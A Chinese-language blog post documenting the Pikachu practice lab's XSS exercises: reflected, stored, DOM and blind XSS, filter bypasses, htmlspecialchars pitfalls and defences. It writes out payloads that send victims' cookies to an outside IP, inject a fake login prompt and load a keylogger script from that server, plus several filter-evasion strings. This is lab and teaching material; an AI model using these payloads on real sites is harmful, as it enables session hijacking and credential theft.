Pikachu-XSS模块与3个案例演示

Posted 2021-03-10 hzk001

反射型XSS（get方式）：
前端设置：查看页面源代码把长度20设置长一点方便输入语句：

 

 

 <script>alert(1)</script>，get形式的XSS会生成相应的url是比较好利用的一种漏洞。

 

反射型XSS(get)方式的案例演示：盗取用户cookie

本实验用的攻击服务器（收集cookie的后台）是我个人的阿里云ecs服务器（也可以另开一个虚拟机模拟攻击者）。模拟存在XSS漏洞的是我的主机（按模拟真实情况来说是相反的，但是因为服务器是linux，用win比较方便改文件，所以使用主机部署存在XSS的网站），。

首先将ｐｉｋａｃｈｕ的后台文件放在云上：注意修改配置文件连接数据库

 

 

 

 

 

 

然后我们获得ｃｏｏｋｉｅ的文件最后加一个重定向，直接返回到网站的初始界面，这样就在用户不留意的时候完成了盗取：

 

 

 然后在存在XSS漏洞胡网页构造链接：<script>document.location=‘http://101.200.56.135/pkxss/xcookie/cookie.php?cookie=‘+document.cookie;</script>，注意把最大长度变一下：

 

 

 

我们可能会看到这样的网页：没关系，这是浏览器在防火墙（现在安全防护意识还是很高的尤其谷歌），可以关闭谷歌的防护或者用低等级的浏览器。但是最后这个链接是可以用的：

 

 

 假设用户被我骗了点进这个链接，会发现直接跳到了我重定向的网站。用户可能处于懵逼：

 

 

 但是我的后台实际上就接收到了用户的ｃｏｏｋｉｅ信息：

 

 

 然后就能用ｃｏｏｋｉｅ做一些坏事达成攻击者的目的。

 

 反射型XSS（POST）

登陆

 

 

 <script>alert(‘xss‘)</script>  我们看到post的XSS漏洞并不会在url中显示

 

 

 

反射XSS（POST）漏洞利用演示：

思路：

我们需要自己搭一个恶意站点，然后在网站上放一个post表单将存放POST表单的链接发送给受害者，

诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求，

实现受害者帮我们提交POST请求的目的

 

首先，在恶意站点中修改服务器地址：上面是存在XSS漏洞的地址，下面是提交ｃｏｏｋｉｅ的后台地址。

恶意页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面

 

 

 然后页面可以放到攻击者的服务器上：

 

 

 这样我们只要骗受害者访问101.200.56.135/post.html就能拿到他的cookie，并且返回重定向的页面，也就是网站的首页面（注意，这里受害者在XSS漏洞那必须是登陆状态才可以拿到cookie）：

 

 

 

 

点进去之后成功返回，然后查看后台：拿到了cookie数据

 

 

 

 

 

 

存储型XSS：这一类XSS漏洞危害较大，会存储到数据库中，每次刷新都会执行；

<script>alert("xss")</script>

 

利用存储型XSS漏洞制作钓鱼演示：

把访问制作的ｂａｓｉｃ认证界面语句插入后台<script src="http://101.200.56.135/pkxss/xfish/fish.php"></script>：然后就会出现认证界面

 

 

我们在认证界面的代码中添加自己的地址：

 

 这个受害者在没有防护意识的情况下就会输入用户名密码：

然后我们在后台查看  ：

 

 利用存储型XSS漏洞进行键盘记录演示：

将获得的键盘值发送到后台ip：

 

 然后设置允许被跨域访问，跨域问题和同源策略可以百度

 

 之后在存在存储型XSS的网站插入代码：

<script src= "http://101.200.56.135/pkxss/rkeypress/rk.js"></script>

 

 插入后就访问了我们的后台获取键盘值的后台ｊｓ文件

然后可以在后台查看：

 

 

 

 

 

 

 

dom型XSS：参考链接：https://www.w3school.com.cn/htmldom/index.asp

ｄｏｍ是前端的操作

查看源码：

 

 

 

这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str， 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

我们可以构造闭合的语句：ａ‘ onclick="alert(‘xss‘)">：

 

 

 

 

 

dom型XSS：

我们直接看源码：这次是直接在url中过去字符串:

 

 

 这种危害就会大很多，从ｕｒｌ中获得有点和反射型ｘｓｓ类似：

构造闭合语句：ａ‘ onclick="alert(‘xss‘)">

 

 

 

 

 

 XSS盲打：是属于ｘｓｓ漏洞的一种场景，和存储型ｘｓｓ类似。也是一种尝试，因为很可能后台会过滤掉。

输入：<script>alert(‘xss‘)</script>

然后在admin_login.php中登录后台发现已经存储国xss代码：

 

 

 

 

XSS过滤：

几种XSS绕过的姿势：

１.直接ｆ１２修改前端的限制，例如长度。

２.大小写混合：<SCRIpt>ALErt(11)<SCRipt>

３.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

４.注释符：<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

还有一种编码的方式，但是在使用时要注意是否会被输出点识别和执行，不然绕过了也没有用。

方法有很多，这只是几种。

 

 

 

XSS的htmlspecialchars

这个可以对特殊字符进行编码，即预定义的字符是 & " ‘ < > 这五个，转化为 &#xxx的形式。虽然使用了htmlspecialchars进行处理,但是htmlspecialchars默认形式不对单引号处理：

 

 

 

所以使用单引号闭合：‘ onclick=‘alert(111)‘

 

 

 

 

XSS防范：输入做过滤输出做转义

第一个ｈｒｅｆ输出：
查看源码，这次htmlspecialchars函数使用了ENT_QUOTES类，也加上了对单引号的转义，但是在a标签的href属性里面,可以使用javascript协议来执行js

于是：javascript:alert(1111)

 

 

 所以在ｈｒｅｆ的输出最安全的防范措施就如作者所说：只允许http,https,其次在进行htmlspecialchars处理

 

 

ｊｓ输出：

观察源码

 

 

 只要闭合语句即可：</script>‘<script>alert("111")</script>

 

 

 

这里的防范不适宜用实体编码的方式，就是上面那个函数，因为虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。

所以正确的防护应该在JS的输出点应该使用对特殊字符进行转义。

 

 

 

实验演示有三个：

反射性XSS获取cookie

存储型xss制作钓鱼

存储性xss读取键盘

模拟攻击者：阿里云ecs个人服务器

模拟受害者：个人主机